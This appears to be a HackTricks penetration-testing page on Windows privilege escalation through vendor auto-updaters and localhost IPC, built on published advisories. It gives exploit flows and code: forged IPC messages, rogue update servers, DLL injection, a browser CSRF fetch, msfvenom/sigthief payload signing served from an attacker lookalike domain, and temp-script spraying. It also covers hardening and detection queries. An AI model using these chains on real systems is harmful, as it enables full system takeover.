abusing-auto-updaters-and-ipc.md (30355B)
1 --- 2 title: "Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope, ASUS & MSI)" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope, ASUS & MSI) 14 15 This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low-friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low-privileged user can coerce enrollment into an attacker-controlled server and then deliver a malicious MSI that the SYSTEM service installs.<sup>[[1]](#references)[[2]](#references)[[5]](#references)</sup> 16 17 Key ideas you can reuse against similar products: 18 - Abuse a privileged service’s localhost IPC to force re-enrollment or reconfiguration to an attacker server. 19 - Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package. 20 - Evade weak signer checks (CN allow-lists), optional digest flags, and lax MSI properties. 21 - If IPC is “encrypted”, derive the key/IV from world-readable machine identifiers stored in the registry. 22 - If the service restricts callers by image path/process name, inject into an allow-listed process or spawn one suspended and bootstrap your DLL via a minimal thread-context patch. 23 24 --- 25 ## 1) Forcing enrollment to an attacker server via localhost IPC 26 27 Many agents ship a user-mode UI process that talks to a SYSTEM service over localhost TCP using JSON. 28 29 Observed in Netskope: 30 - UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) 31 - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN 32 33 Exploit flow: 34 1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required. 35 2) Send the IPC message invoking the provisioning command with your JWT and tenant name: 36 37 ```json 38 { 39 "148": { 40 "idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>", 41 "tenantName": "TestOrg" 42 } 43 } 44 ``` 45 46 3) The service starts hitting your rogue server for enrollment/config, e.g.: 47 - /v1/externalhost?service=enrollment 48 - /config/user/getbrandingbyemail 49 50 Notes: 51 - If caller verification is path/name-based, originate the request from an allow-listed vendor binary (see §4).<sup>[[1]](#references)[[2]](#references)</sup> 52 53 --- 54 ## 2) Hijacking the update channel to run code as SYSTEM 55 56 Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence: 57 58 1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.: 59 ```json 60 { 61 "clientUpdate": { "updateIntervalInMin": 1 }, 62 "check_msi_digest": false 63 } 64 ``` 65 2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store. 66 3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version. 67 68 Bypassing common checks seen in the wild: 69 - Signer CN allow-list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI. 70 - CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install. 71 - Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation. 72 73 Result: the SYSTEM service installs your MSI from 74 C:\ProgramData\Netskope\stAgent\data\*.msi 75 executing arbitrary code as NT AUTHORITY\SYSTEM.<sup>[[1]](#references)[[2]](#references)</sup> 76 77 Patch-bypass lesson: if a vendor responds by allow-listing a small set of “trusted” domains instead of cryptographically authenticating the update source, look for vendor-owned redirectors or reverse proxies that still let you steer traffic. In Netskope's case, public follow-up research showed that an R129-era allow-list could still be abused through `rproxy.goskope.com`, which proxied attacker-controlled Azure App Service content. Treat hostname allow-lists as a speed bump, not as a trust boundary.<sup>[[14]](#references)</sup> 78 79 --- 80 ## 3) Forging encrypted IPC requests (when present) 81 82 From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user: 83 - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew 84 - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID 85 86 Attackers can reproduce encryption and send valid encrypted commands from a standard user.<sup>[[1]](#references)[[2]](#references)</sup> General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material. 87 88 --- 89 ## 4) Bypassing IPC caller allow-lists (path/name checks) 90 91 Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow-listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe). 92 93 Two practical bypasses: 94 - DLL injection into an allow-listed process (e.g., nsdiag.exe) and proxy IPC from inside it. 95 - Spawn an allow-listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver-enforced tamper rules.<sup>[[1]](#references)[[2]](#references)</sup> 96 97 --- 98 ## 5) Tamper-protection friendly injection: suspended process + NtContinue patch 99 100 Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes: 101 - Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME 102 - Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE 103 104 A reliable user-mode loader that respects these constraints: 105 1) CreateProcess of a vendor binary with CREATE_SUSPENDED. 106 2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP). 107 3) Overwrite ntdll!NtContinue (or other early, guaranteed-mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back. 108 4) ResumeThread to trigger your stub in-process, loading your DLL. 109 110 Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already-protected process (you created it), the driver’s policy is satisfied.<sup>[[1]](#references)[[2]](#references)</sup> 111 112 --- 113 ## 6) Practical tooling 114 - NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.<sup>[[3]](#references)</sup> 115 - UpSkope is a custom IPC client that crafts arbitrary (optionally AES-encrypted) IPC messages and includes the suspended-process injection to originate from an allow-listed binary.<sup>[[4]](#references)</sup> 116 117 ## 7) Fast triage workflow for unknown updater/IPC surfaces 118 119 When facing a new endpoint agent or motherboard “helper” suite, a quick workflow is usually enough to tell whether you are looking at a promising privesc target:<sup>[[6]](#references)</sup> 120 121 1) Enumerate loopback listeners and map them back to vendor processes: 122 123 ```powershell 124 Get-NetTCPConnection -State Listen | 125 Where-Object {$_.LocalAddress -in @('127.0.0.1', '::1', '0.0.0.0', '::')} | 126 Select-Object LocalAddress,LocalPort,OwningProcess, 127 @{n='Process';e={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Path}} 128 ``` 129 130 2) Enumerate candidate named pipes: 131 132 ```powershell 133 [System.IO.Directory]::GetFiles("\\.\pipe\") | Select-String -Pattern 'asus|msi|razer|acer|agent|update' 134 ``` 135 136 3) Mine registry-backed routing data used by plugin-based IPC servers: 137 138 ```powershell 139 Get-ChildItem 'HKLM:\SOFTWARE\WOW6432Node\MSI\MSI Center\Component' | 140 Select-Object PSChildName 141 ``` 142 143 4) Extract endpoint names, JSON keys, and command IDs from the user-mode client first. Packed Electron/.NET frontends frequently leak the full schema: 144 145 ```powershell 146 Select-String -Path 'C:\Program Files\Vendor\**\*.js','C:\Program Files\Vendor\**\*.dll' ` 147 -Pattern '127.0.0.1|localhost|UpdateApp|checkupdate|NamedPipe|LaunchProcess|Origin' 148 ``` 149 150 5) Hunt for the actual trust predicate, not just the code path that eventually launches the process: 151 152 ```powershell 153 Select-String -Path 'C:\Program Files\Vendor\**\*.exe','C:\Program Files\Vendor\**\*.dll','C:\Program Files\Vendor\**\*.js' ` 154 -Pattern 'WinVerifyTrust|CryptQueryObject|Origin|Referer|Subject|CN=|ExecuteTask|LaunchProcess|CreateProcessAsUser' 155 ``` 156 157 Patterns worth prioritizing: 158 - `CryptQueryObject`/certificate parsing without `WinVerifyTrust` usually means “certificate exists” was treated as “certificate is trusted”, enabling certificate cloning or other fake-signer tricks. 159 - Substring/suffix checks over `Origin`, `Referer`, download URLs, process names, or signer CNs are not authentication. `contains(".vendor.com")` is usually exploitable with attacker-controlled lookalike domains. 160 - If the low-privileged GUI decides “the file is trusted” and the SYSTEM broker merely consumes that result, patching or reimplementing the client-side DLL/JS often bypasses the boundary entirely (Razer-style split validation). 161 - If the broker copies a payload to `%TEMP%`/`C:\Windows\Temp` and then validates or schedules it from that path, immediately test for TOCTOU replacement windows and for sibling plugin modules that expose alternate `ExecuteTask()` wrappers with weaker checks.<sup>[[6]](#references)</sup> 162 163 For named-pipe-heavy targets, PipeViewer is a quick way to spot weak DACLs and remotely reachable pipes before you start reversing the protocol in depth.<sup>[[11]](#references)</sup> 164 165 If the target authenticates callers only by PID, image path, or process name, treat that as a speed bump rather than a boundary: injecting into the legitimate client, or making the connection from an allow-listed process, is often enough to satisfy the server’s checks. For named pipes specifically, [this page about client impersonation and pipe abuse](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation) covers the primitive in more depth. 166 167 --- 168 ## 8) Modular add-in brokers authenticated only by vendor signatures (Lenovo Vantage pattern) 169 170 A newer variation worth hunting is the **signed-client RPC broker**: a low-privileged Lenovo-signed desktop process talks to a SYSTEM service, and the service routes JSON commands into a set of XML-described add-ins under `%ProgramData%`. Once code execution is achieved **inside any accepted signed client**, every `runas="system"` contract becomes part of your attack surface.<sup>[[15]](#references)</sup> 171 172 High-value primitives observed in Lenovo Vantage research: 173 - **Trusting the caller because it is signed by the vendor**: researchers reached an authenticated context by copying a Lenovo-signed EXE to a writable directory and satisfying a DLL side-load (`profapi.dll`) so arbitrary code ran inside a client the service already trusted. 174 - **Manifest-driven attack surface discovery**: add-ins are declared under `C:\ProgramData\Lenovo\Vantage\Addins\*.xml`; several contracts run as `SYSTEM`, so enumerating those manifests often reveals the real privileged verbs faster than reversing the broker itself. 175 - **Per-command bugs behind the authenticated channel**: once inside the trusted client, public research found path-traversal + race conditions in update/install verbs, raw-SQL abuse in privileged settings databases, and substring-based registry path checks that enabled writes outside the intended hive. 176 177 Useful recon on a target: 178 179 ```powershell 180 Get-ChildItem "$env:ProgramData\Lenovo\Vantage\Addins" -Filter *.xml | 181 Select-String -Pattern 'runas="system"|<name>|<namespace>' 182 ``` 183 184 ```powershell 185 Select-String -Path 'C:\Program Files\Lenovo\**\*.dll','C:\Program Files\Lenovo\**\*.exe' ` 186 -Pattern 'contract|command|payload|DeleteTable|DeleteSetting|Set-KeyChildren|DownloadAndInstallAppComponent|InstallOnly' 187 ``` 188 189 Practical takeaway: whenever a helper suite exposes a broker that first authenticates the **caller process** and only then dispatches into dozens of plugin/add-in commands, do not stop after bypassing the front-door trust check. Dump the manifest/contract table and fuzz each high-privilege verb independently; the authenticated channel usually hides several second-stage bugs. 190 191 --- 192 ## 1) Browser-to-localhost CSRF against privileged HTTP APIs (ASUS DriverHub) 193 194 DriverHub ships a user-mode HTTP service (ADU.exe) on 127.0.0.1:53000 that expects browser calls coming from https://driverhub.asus.com. The origin filter simply performs `string_contains(".asus.com")` over the Origin header and over download URLs exposed by `/asus/v1.0/*`. Any attacker-controlled host such as `https://driverhub.asus.com.attacker.tld` therefore passes the check and can issue state-changing requests from JavaScript.<sup>[[6]](#references)</sup> See [CSRF basics](/hacktricks/pentesting-web/csrf-cross-site-request-forgery) for additional bypass patterns. 195 196 Practical flow: 197 1) Register a domain that embeds `.asus.com` and host a malicious webpage there. 198 2) Use `fetch` or XHR to call a privileged endpoint (e.g., `Reboot`, `UpdateApp`) on `http://127.0.0.1:53000`. 199 3) Send the JSON body expected by the handler – the packed frontend JS shows the schema below. 200 201 ```javascript 202 fetch("http://127.0.0.1:53000/asus/v1.0/Reboot", { 203 method: "POST", 204 headers: { "Content-Type": "application/json" }, 205 body: JSON.stringify({ Event: [{ Cmd: "Reboot" }] }) 206 }); 207 ``` 208 209 Even the PowerShell CLI shown below succeeds when the Origin header is spoofed to the trusted value: 210 211 ```powershell 212 Invoke-WebRequest -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" -Method Post \ 213 -Headers @{Origin="https://driverhub.asus.com"; "Content-Type"="application/json"} \ 214 -Body (@{Event=@(@{Cmd="Reboot"})}|ConvertTo-Json) 215 ``` 216 217 Any browser visit to the attacker site therefore becomes a 1-click (or 0-click via `onload`) local CSRF that drives a SYSTEM helper. 218 219 --- 220 ## 2) Insecure code-signing verification & certificate cloning (ASUS UpdateApp) 221 222 `/asus/v1.0/UpdateApp` downloads arbitrary executables defined in the JSON body and caches them in `C:\ProgramData\ASUS\AsusDriverHub\SupportTemp`. Download URL validation reuses the same substring logic, so `http://updates.asus.com.attacker.tld:8000/payload.exe` is accepted. After download, ADU.exe merely checks that the PE contains a signature and that the Subject string matches ASUS before running it – no `WinVerifyTrust`, no chain validation. 223 224 To weaponize the flow: 225 1) Create a payload (e.g., `msfvenom -p windows/exec CMD=notepad.exe -f exe -o payload.exe`). 226 2) Clone ASUS’s signer into it (e.g., `python sigthief.py -i ASUS-DriverHub-Installer.exe -t payload.exe -o pwn.exe`). 227 3) Host `pwn.exe` on a `.asus.com` lookalike domain and trigger UpdateApp via the browser CSRF above. 228 229 Because both the Origin and URL filters are substring-based and the signer check only compares strings, DriverHub pulls and executes the attacker binary under its elevated context.<sup>[[6]](#references)</sup> 230 231 --- 232 ## 1) TOCTOU inside updater copy/execute paths (MSI Center CMD_AutoUpdateSDK) 233 234 MSI Center’s SYSTEM service exposes a TCP protocol where each frame is `4-byte ComponentID || 8-byte CommandID || ASCII arguments`. The core component (Component ID `0f 27 00 00`) ships `CMD_AutoUpdateSDK = {05 03 01 08 FF FF FF FC}`. Its handler: 235 1) Copies the supplied executable to `C:\Windows\Temp\MSI Center SDK.exe`. 236 2) Verifies the signature via `CS_CommonAPI.EX_CA::Verify` (certificate subject must equal “MICRO-STAR INTERNATIONAL CO., LTD.” and `WinVerifyTrust` succeeds). 237 3) Creates a scheduled task that runs the temp file as SYSTEM with attacker-controlled arguments. 238 239 The copied file is not locked between verification and `ExecuteTask()`. An attacker can: 240 - Send Frame A pointing to a legitimate MSI-signed binary (guarantees the signature check passes and the task is queued). 241 - Race it with repeated Frame B messages that point to a malicious payload, overwriting `MSI Center SDK.exe` just after verification completes. 242 243 When the scheduler fires, it executes the overwritten payload under SYSTEM despite having validated the original file. Reliable exploitation uses two goroutines/threads that spam CMD_AutoUpdateSDK until the TOCTOU window is won.<sup>[[6]](#references)</sup> 244 245 --- 246 ## 2) Abusing custom SYSTEM-level IPC & impersonation (MSI Center + Acer Control Centre) 247 248 ### MSI Center TCP command sets 249 - Every plugin/DLL loaded by `MSI.CentralServer.exe` receives a Component ID stored under `HKLM\SOFTWARE\MSI\MSI_CentralServer`. The first 4 bytes of a frame select that component, allowing attackers to route commands to arbitrary modules. 250 - Plugins can define their own task runners. `Support\API_Support.dll` exposes `CMD_Common_RunAMDVbFlashSetup = {05 03 01 08 01 00 03 03}` and directly calls `API_Support.EX_Task::ExecuteTask()` with **no signature validation** – any local user can point it at `C:\Users\<user>\Desktop\payload.exe` and get SYSTEM execution deterministically. 251 - Sniffing loopback with Wireshark or instrumenting the .NET binaries in dnSpy quickly reveals the Component ↔ command mapping; custom Go/ Python clients can then replay frames.<sup>[[6]](#references)</sup> 252 253 ### Acer Control Centre named pipes & impersonation levels 254 - `ACCSvc.exe` (SYSTEM) exposes `\\.\pipe\treadstone_service_LightMode`, and its discretionary ACL allows remote clients (e.g., `\\TARGET\pipe\treadstone_service_LightMode`). Sending command ID `7` with a file path invokes the service’s process-spawning routine. 255 - The client library serializes a magic terminator byte (113) along with args. Dynamic instrumentation with Frida/`TsDotNetLib` (see [Reversing Tools & Basic Methods](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/reversing/reversing-tools-basic-methods/README.md) for instrumentation tips) shows that the native handler maps this value to a `SECURITY_IMPERSONATION_LEVEL` and integrity SID before calling `CreateProcessAsUser`. 256 - Swapping 113 (`0x71`) for 114 (`0x72`) drops into the generic branch that keeps the full SYSTEM token and sets a high-integrity SID (`S-1-16-12288`). The spawned binary therefore runs as unrestricted SYSTEM, both locally and cross-machine. 257 - Combine that with the exposed installer flag (`Setup.exe -nocheck`) to stand up ACC even on lab VMs and exercise the pipe without vendor hardware.<sup>[[6]](#references)</sup> 258 259 These IPC bugs highlight why localhost services must enforce mutual authentication (ALPC SIDs, `ImpersonationLevel=Impersonation` filters, token filtering) and why every module’s “run arbitrary binary” helper must share the same signer verifications. 260 261 --- 262 ## 3) COM/IPC “elevator” helpers backed by weak user-mode validation (Razer Synapse 4) 263 264 Razer Synapse 4 added another useful pattern to this family: a low-privileged user can ask a COM helper to launch a process through `RzUtility.Elevator`, while the trust decision is delegated to a user-mode DLL (`simple_service.dll`) rather than being enforced robustly inside the privileged boundary. 265 266 Observed exploitation path: 267 - Instantiate the COM object `RzUtility.Elevator`. 268 - Call `LaunchProcessNoWait(<path>, "", 1)` to request an elevated launch. 269 - In the public PoC, the PE-signature gate inside `simple_service.dll` is patched out before issuing the request, allowing an arbitrary attacker-chosen executable to be launched.<sup>[[6]](#references)[[10]](#references)</sup> 270 271 Minimal PowerShell invocation: 272 273 ```powershell 274 $com = New-Object -ComObject 'RzUtility.Elevator' 275 $com.LaunchProcessNoWait("C:\Users\Public\payload.exe", "", 1) 276 ``` 277 278 General takeaway: when reversing “helper” suites, do not stop at localhost TCP or named pipes. Check for COM classes with names such as `Elevator`, `Launcher`, `Updater`, or `Utility`, then verify whether the privileged service actually validates the target binary itself or merely trusts a result computed by a patchable user-mode client DLL. This pattern generalizes beyond Razer: any split design where the high-privilege broker consumes an allow/deny decision from the low-privilege side is a candidate privesc surface. 279 280 281 --- 282 ## Predictable temp script execution during MSI repair (Checkmk Agent / CVE-2024-0670) 283 284 Some Windows agents still implement privileged actions by writing a temporary `.cmd` into `C:\Windows\Temp` and executing it as `SYSTEM`. If the filename is predictable and the service doesn't safely recreate existing files, a low-privileged user can pre-create the future temp file as **read-only** and make the privileged process execute attacker-controlled content instead of its own script. 285 286 Observed in vulnerable Checkmk Agent builds: 287 - temp pattern: `cmk_all_<PID>_1.cmd` 288 - affected branches: `2.0.0`, `2.1.0`, `2.2.0` 289 - trigger: MSI **repair** of the cached agent package<sup>[[8]](#references)[[9]](#references)</sup> 290 291 Practical workflow: 292 1. Estimate a realistic PID range from current process IDs or the running agent PID. 293 2. Write a short **ASCII** `.cmd` payload (`Set-Content -Encoding Ascii` or `cmd.exe` redirection; avoid UTF-16 PowerShell output for batch files). 294 3. Spray `C:\Windows\Temp\cmk_all_<PID>_1.cmd` across the candidate range and mark each file read-only. 295 4. Trigger a repair of the cached MSI so the privileged service attempts to regenerate and then executes the temp script.<sup>[[7]](#references)</sup> 296 297 ```powershell 298 Set-Content -Path C:\ProgramData\payload.cmd -Encoding Ascii -Value "@echo off`nwhoami > C:\ProgramData\proof.txt" 299 1..10000 | ForEach-Object { 300 Copy-Item C:\ProgramData\payload.cmd "C:\Windows\Temp\cmk_all_${_}_1.cmd" 301 Set-ItemProperty "C:\Windows\Temp\cmk_all_${_}_1.cmd" -Name IsReadOnly -Value $true 302 } 303 ``` 304 305 If the vulnerable product is installed with Windows Installer, map the random-looking cached MSI under `C:\Windows\Installer` back to its product name before triggering the repair:<sup>[[7]](#references)</sup> 306 307 ```powershell 308 Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" | 309 ForEach-Object { 310 $p = Get-ItemProperty $_.PSPath 311 [PSCustomObject]@{Name=$p.DisplayName; Pkg=$p.LocalPackage} 312 } | Where-Object Name -like "*Check MK Agent*" 313 314 msiexec /fa C:\Windows\Installer\<cached-agent>.msi 315 ``` 316 317 Operational notes: 318 - `qwinsta` is useful when `msiexec /fa` fails from a non-interactive WinRM shell and you need to understand whether an existing desktop/disconnected session can trigger the repair correctly.<sup>[[7]](#references)</sup> 319 - This pattern generalizes to other endpoint agents and updaters that **stage temp scripts in world-writable locations and later execute them as SYSTEM**. Test for predictable names, missing exclusive create semantics, and repair/update flows that can be triggered on demand. 320 321 --- 322 ## Remote supply-chain hijack via weak updater validation (WinGUp / Notepad++) 323 324 Between June 2025 and December 2025, attackers who compromised the hosting infrastructure behind the Notepad++ update flow selectively served malicious manifests to chosen victims. Older WinGUp-based updaters did not fully verify update authenticity, so a hostile XML response could redirect clients to attacker-controlled URLs. Because the client accepted HTTPS content without enforcing both a trusted certificate chain and a valid PE signature on the downloaded installer, victims fetched and executed a trojanized NSIS `update.exe`.<sup>[[12]](#references)[[13]](#references)</sup> 325 326 Operational flow (no local exploit required): 327 1. **Infrastructure interception**: compromise CDN/hosting and answer update checks with attacker metadata pointing at a malicious download URL. 328 2. **Trojanized NSIS**: the installer fetches/executes a payload and abuses two execution chains: 329 - **Bring-your-own signed binary + sideload**: bundle the signed Bitdefender `BluetoothService.exe` and drop a malicious `log.dll` in its search path. When the signed binary runs, Windows sideloads `log.dll`, which decrypts and reflectively loads the Chrysalis backdoor (Warbird-protected + API hashing to hinder static detection). 330 - **Scripted shellcode injection**: NSIS executes a compiled Lua script that uses Win32 APIs (e.g., `EnumWindowStationsW`) to inject shellcode and stage Cobalt Strike Beacon.<sup>[[12]](#references)</sup> 331 332 Hardening/detection takeaways for any auto-updater: 333 - Enforce **certificate + signature verification** of the downloaded installer (pin vendor signer, reject mismatched CN/chain) and sign the update manifest itself (e.g., XMLDSig). Block manifest-controlled redirects unless validated. 334 - Treat **BYO signed binary sideloading** as a post-download detection pivot: alert when a signed vendor EXE loads a DLL name from outside its canonical install path (e.g., Bitdefender loading `log.dll` from Temp/Downloads) and when an updater drops/executes installers from temp with non-vendor signatures. 335 - Monitor **malware-specific artifacts** observed in this chain (useful as generic pivots): mutex `Global\Jdhfv_1.0.1`, anomalous `gup.exe` writes to `%TEMP%`, and Lua-driven shellcode injection stages. 336 - Notepad++ responded by strengthening WinGUp in v8.8.9 and later: the returned XML is now signed (XMLDSig), and newer builds enforce certificate + signature verification of the downloaded installer instead of trusting the transport alone.<sup>[[13]](#references)</sup> 337 338 <details> 339 <summary>Cortex XDR XQL – Bitdefender-signed EXE sideloading <code>log.dll</code> (T1574.001)</summary> 340 341 ```sql 342 // Identifies Bitdefender-signed processes loading log.dll outside vendor paths 343 config case_sensitive = false 344 | dataset = xdr_data 345 | fields actor_process_signature_vendor, actor_process_signature_product, action_module_path, actor_process_image_path, actor_process_image_sha256, agent_os_type, event_type, event_id, agent_hostname, _time, actor_process_image_name 346 | filter event_type = ENUM.LOAD_IMAGE and agent_os_type = ENUM.AGENT_OS_WINDOWS 347 | filter actor_process_signature_vendor contains "Bitdefender SRL" and action_module_path contains "log.dll" 348 | filter actor_process_image_path not contains "Program Files\\Bitdefender" 349 | filter not actor_process_image_name in ("eps.rmm64.exe", "downloader.exe", "installer.exe", "epconsole.exe", "EPHost.exe", "epintegrationservice.exe", "EPPowerConsole.exe", "epprotectedservice.exe", "DiscoverySrv.exe", "epsecurityservice.exe", "EPSecurityService.exe", "epupdateservice.exe", "testinitsigs.exe", "EPHost.Integrity.exe", "WatchDog.exe", "ProductAgentService.exe", "EPLowPrivilegeWorker.exe", "Product.Configuration.Tool.exe", "eps.rmm.exe") 350 ``` 351 352 </details> 353 354 <details> 355 <summary>Cortex XDR XQL – <code>gup.exe</code> launching a non-Notepad++ installer</summary> 356 357 ```sql 358 config case_sensitive = false 359 | dataset = xdr_data 360 | filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START and _product = "XDR agent" and _vendor = "PANW" 361 | filter lowercase(actor_process_image_name) = "gup.exe" and actor_process_signature_status not in (null, ENUM.UNSUPPORTED, ENUM.FAILED_TO_OBTAIN ) and action_process_signature_status not in (null, ENUM.UNSUPPORTED, ENUM.FAILED_TO_OBTAIN ) 362 | filter lowercase(action_process_image_name) ~= "(npp[\.\d]+?installer)" 363 | filter action_process_signature_status != ENUM.SIGNED or lowercase(action_process_signature_vendor) != "notepad++" 364 ``` 365 366 </details> 367 368 These patterns generalize to any updater that accepts unsigned manifests or fails to pin installer signers—network hijack + malicious installer + BYO-signed sideloading yields remote code execution under the guise of “trusted” updates. 369 370 --- 371 ## References 372 - [1] [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) 373 - [2] [Netskope Security Advisory NSKPSA-2025-002](https://www.netskope.com/resources/netskope-resources/netskope-security-advisory-nskpsa-2025-002) 374 - [3] [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) 375 - [4] [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) 376 - [5] [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) 377 - [6] [SensePost – Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4](https://sensepost.com/blog/2025/pwning-asus-driverhub-msi-center-acer-control-centre-and-razer-synapse-4/) 378 - [7] [0xdf – HTB: NanoCorp](https://0xdf.gitlab.io/2026/06/20/htb-nanocorp.html) 379 - [8] [SEC Consult – Local Privilege Escalation via writable files in Checkmk Agent](https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/) 380 - [9] [Checkmk Werk #16361 – Privilege escalation in Windows agent](https://checkmk.com/werk/16361) 381 - [10] [sensepost/bloatware-pwn PoCs](https://github.com/sensepost/bloatware-pwn) 382 - [11] [CyberArk PipeViewer](https://github.com/cyberark/PipeViewer) 383 - [12] [Unit 42 – Nation-State Actors Exploit Notepad++ Supply Chain](https://unit42.paloaltonetworks.com/notepad-infrastructure-compromise/) 384 - [13] [Notepad++ – hijacked infrastructure incident update](https://notepad-plus-plus.org/news/hijacked-incident-info-update/) 385 - [14] [AmberWolf – Bypassing the fix for CVE-2025-0309 in Netskope Client for Windows](https://blog.amberwolf.com/blog/2026/march/patch-bypass---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) 386 - [15] [Atredis – Uncovering Privilege Escalation Bugs in Lenovo Vantage](https://www.atredis.com/blog/2025/7/7/uncovering-privilege-escalation-bugs-in-lenovo-vantage)